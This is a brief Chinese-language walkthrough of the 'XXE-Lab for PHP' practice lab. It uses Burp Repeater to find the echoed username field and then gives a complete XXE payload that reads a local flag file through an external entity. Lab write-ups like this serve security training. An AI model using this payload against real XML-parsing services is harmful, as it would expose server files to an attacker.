XXE-Lab for PHP
进入环境
出现一个登录页面，输入任意 UserName 和 Psaaword ，使用bp抓取登录数据包
发送到重放器，点击“发送”
只修改 username 的值，查看右边的变化
只修改 password 的值，查看右边的变化
修改 username 和 password 的值，查看右边的变化
发现 username 位置为回显位，我们可以构造xxe攻击，具体操作如下
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///c:/flag/flag" > ]>
<user>
<username>
&xxe;
</username>
<password>
1
</password>
</user>